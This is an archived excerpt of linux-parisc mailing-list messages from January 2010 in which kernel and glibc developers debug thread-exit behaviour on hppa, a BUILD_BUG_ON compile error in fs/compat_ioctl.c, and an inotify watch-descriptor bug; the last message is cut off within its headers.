To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 17 00:17:44 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWHtn-0007BD-DH
	for glpp-linux-parisc@lo.gmane.org; Sun, 17 Jan 2010 00:17:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751088Ab0APXRn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Jan 2010 18:17:43 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750980Ab0APXRn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 16 Jan 2010 18:17:43 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:36929 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750743Ab0APXRm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Jan 2010 18:17:42 -0500
Original-Received: (qmail invoked by alias); 16 Jan 2010 23:17:40 -0000
Original-Received: from p4FDB21D6.dip0.t-ipconnect.de (EHLO halden.box) [79.219.33.214]
  by mail.gmx.net (mp036) with SMTP; 17 Jan 2010 00:17:40 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+g6FxcA4OgBDX2WMcV8OCCfsOCf3ctpeGZ1zH8hJ
	XmQqbuMJSHEz/c
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091209 Fedora/3.0-3.fc11 Lightning/1.0pre Thunderbird/3.0
In-Reply-To: <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48999999999999999
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2577
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2577>

On 01/08/2010 10:44 PM, Carlos O'Donell wrote:
> On Fri, Jan 8, 2010 at 4:18 PM, Helge Deller<deller@gmx.de>  wrote:
>>> I now think this probably is a glibc bug.  The kernel uses this value
>>> when the CLONE_PARENT_SETTID flag is passed.
>>
>>
>> Maybe we have a futex problem in glibc on hppa?
>> In glibc nptl/pthread_mutex_trylock.c we check the return value of a futex
>> syscall against EWOULDBLOCK.
>> Since on parisc - in contrast to all other architectures - we have
>> EWOULDBLOCK!=EAGAIN, we maybe missed a check?
>
> That's a bug. [...]

Carlos,  Dave,

I'm wondering if we have another bug in glibc...?

When running strace, I noticed that a thread which returns with "return 0",
exits the process on hppa with exit(0):
[pid  1875] write(1, "Thread OK.\n", 11) = 11
[pid  1875] exit(0)

On my x86_64 I see:
[pid  8154] write(1, "Thread OK.\n", 11) = 11
[pid  8154] _exit(0)                    =

In ports/sysdeps/unix/sysv/linux/hppa/clone.S (line 170) I do see:
         /* The call to _exit needs saved r19.  */
         bl      _exit, %rp
         copy    %ret0, %arg0

This coding seems to indicate that we call _exit(), but we aren't (as
you see above in the strace).
So I'm wondering if the "bl _exit,%rp" needs changing.
Something with HIDDEN_JUMPTARGET(_exit) or similar, so that
_exit() instead of exit() is called?

Actually I did tested this with the minifail test program, and changed
thread_run() to call _exit(0) at the end instead of "return 0":
void* thread_run(void* arg) {
	...
/*	return (void *)&status;  */
         _exit(0);
}
With strace I then suddenly got exit_group() which seems more correct:
[pid  1910] write(1, "Thread OK.\n", 11) = 11
[pid  1910] exit_group(0)               = ?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: fs/compat_ioctl.c:1651:2: error: bit-field '<anonymous>' width not
	an integer constant
Date: Mon, 18 Jan 2010 00:31:48 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <20100118073148.GE28448@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1263799919 24370 80.91.229.12 (18 Jan 2010 07:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2010 07:31:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 18 08:31:52 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWm5V-0003XP-FW
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jan 2010 08:31:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752997Ab0ARHbu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Jan 2010 02:31:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753412Ab0ARHbu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Jan 2010 02:31:50 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:35081 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752997Ab0ARHbt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Jan 2010 02:31:49 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id AE4D133E0261
	for <linux-parisc@vger.kernel.org>; Mon, 18 Jan 2010 00:31:48 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8JhjTkczxQxO for <linux-parisc@vger.kernel.org>;
	Mon, 18 Jan 2010 00:31:48 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 559A133E026B; Mon, 18 Jan 2010 00:31:48 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2578>

Is this a known problem?

I'm getting this error on linus' kernel tree build:
fs/compat_ioctl.c:1651:2: error: bit-field '<anonymous>' width not an integer constant

The offending code is:
1646 static int compat_ioctl_check_table(unsigned int xcmd)
1647 {
1648         int i;
1649         const int max = ARRAY_SIZE(ioctl_pointer) - 1;
1650 
1651         BUILD_BUG_ON(max >= (1 << 16));


This "looks" right to me. Everything is a constant other than "max".
Since max is declared "const", I *expect* max to behave like a constant.


I used "make V=1" to get the command than used that to preprocess the code:

hppa64-linux-gnu-gcc -Wp,-MD,fs/.compat_ioctl.o.d  -nostdinc -isystem /home/dave/opt/gnu64/gcc-4.5.0/lib/gcc/hppa64-linux-gnu/4.5.0/include -I/usr/src/linux-2.6/arch/parisc/include -Iinclude  -include include/generated/autoconf.h -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Wno-format-security -fno-delete-null-pointer-checks -Os -pipe -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -Wframe-larger-than=2048 -fno-stack-protector -fomit-frame-pointer -Wdeclaration-after-statement -Wno-pointer-sign -fno-strict-overflow -fno-dwarf2-cfi-asm -fconserve-stack   -D"KBUILD_STR(s)=#s" -D"KBUILD_BASENAME=KBUILD_STR(compat_ioctl)"  -D"KBUILD_MODNAME=KBUILD_STR(c
 ompat_ioctl)"  -E -o fs/.tmp_compat_ioctl.P fs/compat_ioctl.c

and I believe the same code in fs/.tmp_compat_ioctl.P is:

static int compat_ioctl_check_table(unsigned int xcmd)
{
 int i;
 const int max = (sizeof(ioctl_pointer) / sizeof((ioctl_pointer)[0]) + (sizeof(struct { int:-!!(__builtin_types_compatible_p(typeof(ioctl_pointer), typeof(&ioctl_pointer[0]))); }))) - 1;

 ((void)(sizeof(struct { int:-!!(max >= (1 << 16)); })));


I can't make sense of this since I have no clue what "int:-!!" means.


BTW, I also looked in include/linux/kernel.h:

/* Force a compilation error if condition is true */
#define BUILD_BUG_ON(condition) ((void)BUILD_BUG_ON_ZERO(condition))

...
/* Force a compilation error if condition is true, but also produce a
   result (of value 0 and type size_t), so the expression can be used
   e.g. in a structure initializer (or where-ever else comma expressions
   aren't permitted). */
#define BUILD_BUG_ON_ZERO(e) (sizeof(struct { int:-!!(e); }))
#define BUILD_BUG_ON_NULL(e) ((void *)sizeof(struct { int:-!!(e); }))

Source this comes from is gsyprf11:/usr/src/linux-2.6 and I just did
a git pull. Please let me know if I just got unlucky and should pull again.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fs/compat_ioctl.c:1651:2: error: bit-field '<anonymous>' width
	not an integer constant
Date: Mon, 18 Jan 2010 10:09:47 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20100118150947.GU19179@bombadil.infradead.org>
References: <20100118073148.GE28448@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1263827411 19038 80.91.229.12 (18 Jan 2010 15:10:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2010 15:10:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 18 16:10:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWtEt-0000Sr-E2
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jan 2010 16:09:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753623Ab0ARPJs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Jan 2010 10:09:48 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753648Ab0ARPJs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Jan 2010 10:09:48 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38109 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753623Ab0ARPJr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Jan 2010 10:09:47 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NWtEh-0000i1-Bo; Mon, 18 Jan 2010 15:09:47 +0000
Content-Disposition: inline
In-Reply-To: <20100118073148.GE28448@lackof.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2579
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2579>

On Mon, Jan 18, 2010 at 12:31:48AM -0700, Grant Grundler wrote:
> fs/compat_ioctl.c:1651:2: error: bit-field '<anonymous>' width not an integer constant
><...>
>  ((void)(sizeof(struct { int:-!!(max >= (1 << 16)); })));
><...> 
> I can't make sense of this since I have no clue what "int:-!!" means.
> 

It basically means what the error above says. :) If the expr evaluates
to non-zero, bound it to 1 (ie: !!x = 1, where x > 0) and the negative
sign is to give an invalid field width, so we ftbfs.

Anyway, it's basically checking to see how many elements there are in
the table, and failing if there are more than expected. It looks kind of
failure that these are magic numbers.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 18 Jan 2010 10:50:00 -0500 (EST)
Lines: 72
Approved: news@gmane.org
Message-ID: <20100118155001.13C554EF1@hiauly1.hia.nrc.ca>
References: <4B524912.4070204@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1263829819 27857 80.91.229.12 (18 Jan 2010 15:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2010 15:50:19 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 18 16:50:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWtrk-00084d-5q
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jan 2010 16:50:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754138Ab0ARPuI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Jan 2010 10:50:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753793Ab0ARPuI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Jan 2010 10:50:08 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1840 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754138Ab0ARPuG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Jan 2010 10:50:06 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 13C554EF1; Mon, 18 Jan 2010 10:50:00 -0500 (EST)
In-Reply-To: <4B524912.4070204@gmx.de> from "Helge Deller" at Jan 17, 2010 00:17:38 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2580>

Hi Helge,

If you link the test with -static, you should be able to set
breaks in your test application and determine why _exit isn't
called.

I'm in the process of moving homes, so I don't have much time
to investigate myself.

Dave

> On 01/08/2010 10:44 PM, Carlos O'Donell wrote:
> > On Fri, Jan 8, 2010 at 4:18 PM, Helge Deller<deller@gmx.de>  wrote:
> >>> I now think this probably is a glibc bug.  The kernel uses this value
> >>> when the CLONE_PARENT_SETTID flag is passed.
> >>
> >>
> >> Maybe we have a futex problem in glibc on hppa?
> >> In glibc nptl/pthread_mutex_trylock.c we check the return value of a futex
> >> syscall against EWOULDBLOCK.
> >> Since on parisc - in contrast to all other architectures - we have
> >> EWOULDBLOCK!=EAGAIN, we maybe missed a check?
> >
> > That's a bug. [...]
> 
> Carlos,  Dave,
> 
> I'm wondering if we have another bug in glibc...?
> 
> When running strace, I noticed that a thread which returns with "return 0",
> exits the process on hppa with exit(0):
> [pid  1875] write(1, "Thread OK.\n", 11) = 11
> [pid  1875] exit(0)
> 
> On my x86_64 I see:
> [pid  8154] write(1, "Thread OK.\n", 11) = 11
> [pid  8154] _exit(0)                    =
> 
> In ports/sysdeps/unix/sysv/linux/hppa/clone.S (line 170) I do see:
>          /* The call to _exit needs saved r19.  */
>          bl      _exit, %rp
>          copy    %ret0, %arg0
> 
> This coding seems to indicate that we call _exit(), but we aren't (as
> you see above in the strace).
> So I'm wondering if the "bl _exit,%rp" needs changing.
> Something with HIDDEN_JUMPTARGET(_exit) or similar, so that
> _exit() instead of exit() is called?
> 
> Actually I did tested this with the minifail test program, and changed
> thread_run() to call _exit(0) at the end instead of "return 0":
> void* thread_run(void* arg) {
> 	...
> /*	return (void *)&status;  */
>          _exit(0);
> }
> With strace I then suddenly got exit_group() which seems more correct:
> [pid  1910] write(1, "Thread OK.\n", 11) = 11
> [pid  1910] exit_group(0)               = ?
> 
> Helge
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unexpected behaviour of idr_get_empty_slot() on parisc
Date: Mon, 18 Jan 2010 11:12:52 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <1263834772.2773.63.camel@mulgrave.site>
References: <20091220234610.GG11237@jade.home>
	 <1261354364.25157.246.camel@localhost> <20091221003500.GK11237@jade.home>
	 <1261357334.25157.272.camel@localhost> <1262561005.2238.51.camel@localhost>
	 <20100103235054.GC19179@bombadil.infradead.org>
	 <1263572785.2842.28.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1263834804 14263 80.91.229.12 (18 Jan 2010 17:13:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2010 17:13:24 +0000 (UTC)
Cc: Ben Hutchings <ben@decadent.org.uk>, linux-parisc@vger.kernel.org,
	Ryan Niebur <ryan@debian.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 18 18:13:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWvA7-0004qh-O9
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jan 2010 18:13:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753247Ab0ARRM7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Jan 2010 12:12:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753340Ab0ARRM7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Jan 2010 12:12:59 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45208 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753247Ab0ARRM6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Jan 2010 12:12:58 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 348AE8EE0FB;
	Mon, 18 Jan 2010 09:12:57 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id aS8kUmPUUjdE; Mon, 18 Jan 2010 09:12:57 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 39C478EE0FA;
	Mon, 18 Jan 2010 09:12:54 -0800 (PST)
In-Reply-To: <1263572785.2842.28.camel@mulgrave.site>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2581>

On Fri, 2010-01-15 at 10:26 -0600, James Bottomley wrote:
> On Sun, 2010-01-03 at 18:50 -0500, Kyle McMartin wrote:
> > On Sun, Jan 03, 2010 at 11:23:25PM +0000, Ben Hutchings wrote:
> > > Ryan Niebur reported in <http://bugs.debian.org/561880> that on a
> > > PA-RISC system running Linux 2.6.32 the following test case for inotify:
> > > 
> > 
> > I bet this is because classic RCU is removed, and tree RCU was
> > insufficiently tested on crap platforms before the removal.
> > 
> > I'll try to re-add it and we can see if it's an RCU problem or something
> > nastier.
> 
> Apparently it's a feature of kernels beyond 2.6.30 (this exact
> behaviour).  Suspect the bug report is incomplete and the i386 machine
> was running 2.6.29 or lower.
> 
> Red Hat has been getting complaints about it so they're looking to
> revert to the old 2.6.29 behaviour as well.  The actual commit that
> caused the behaviour change is
> 
> commit 63c882a05416e18de6fb59f7dd6da48f3bbe8273
> Author: Eric Paris <eparis@redhat.com>
> Date:   Thu May 21 17:02:01 2009 -0400
> 
>     inotify: reimplement inotify using fsnotify

Just to close this out, the fix (for all architectures) is now upstream:

commit 9e572cc9877ee6c43af60778f6b8d5ba0692d935
Author: Eric Paris <eparis@redhat.com>
Date:   Fri Jan 15 12:12:24 2010 -0500

    inotify: do not reuse watch descriptors

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 18 Jan 2010 15:44:58 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20100118204459.B95514EF1@hiauly1.hia.nrc.ca>
References: <4B524912.4070204@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1263847512 27694 80.91.229.12 (18 Jan 2010 20:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2010 20:45:12 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 18 21:45:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWyT9-000650-QS
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jan 2010 21:45:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751636Ab0ARUpE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Jan 2010 15:45:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753972Ab0ARUpE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Jan 2010 15:45:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1858 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751636Ab0ARUpD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Jan 2010 15:45:03 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B95514EF1; Mon, 18 Jan 2010 15:44:59 -0500 (EST)
In-Reply-To: <4B524912.4070204@gmx.de> from "Helge Deller" at Jan 17, 2010 00:17:38 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2582>

> Actually I did tested this with the minifail test program, and changed
> thread_run() to call _exit(0) at the end instead of "return 0":
> void* thread_run(void* arg) {
> 	...
> /*	return (void *)&status;  */
>          _exit(0);
> }
> With strace I then suddenly got exit_group() which seems more correct:
> [pid  1910] write(1, "Thread OK.\n", 11) = 11
> [pid  1910] exit_group(0)               = ?

The child of the fork should exit using _exit(0).  Otherwise, it messes
with the file descriptors of the parent.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 18 Jan 2010 15:49:43 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab441001181249v596d90e2ibb0e0815ea5fe009@mail.gmail.com>
References: <4B524912.4070204@gmx.de>
	 <20100118204459.B95514EF1@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1263847794 28771 80.91.229.12 (18 Jan 2010 20:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2010 20:49:54 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 18 21:49:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NWyXh-00086N-UC
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Jan 2010 21:49:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752332Ab0ARUtq convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Jan 2010 15:49:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753310Ab0ARUtq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 18 Jan 2010 15:49:46 -0500
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:33594 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752332Ab0ARUtp convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Jan 2010 15:49:45 -0500
Original-Received: by bwz19 with SMTP id 19so2118752bwz.28
        for <linux-parisc@vger.kernel.org>; Mon, 18 Jan 2010 12:49:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=zqzzdiQzMiww1Rt1w+rChKHW27TyFZdq/n/wr1qRSGo=;
        b=dwQJTC3K5aKguMY3+hS1oTj+nwvAmgysE8yQulT9/KtJ35w0eLx0+4TA3vV1I10Nd3
         RbsuT8NwJQTsikNdiuwyCsFywiZt+3m7ZmmK/BlmoqFKIHAB6OyELD03GAZtpsznbAT6
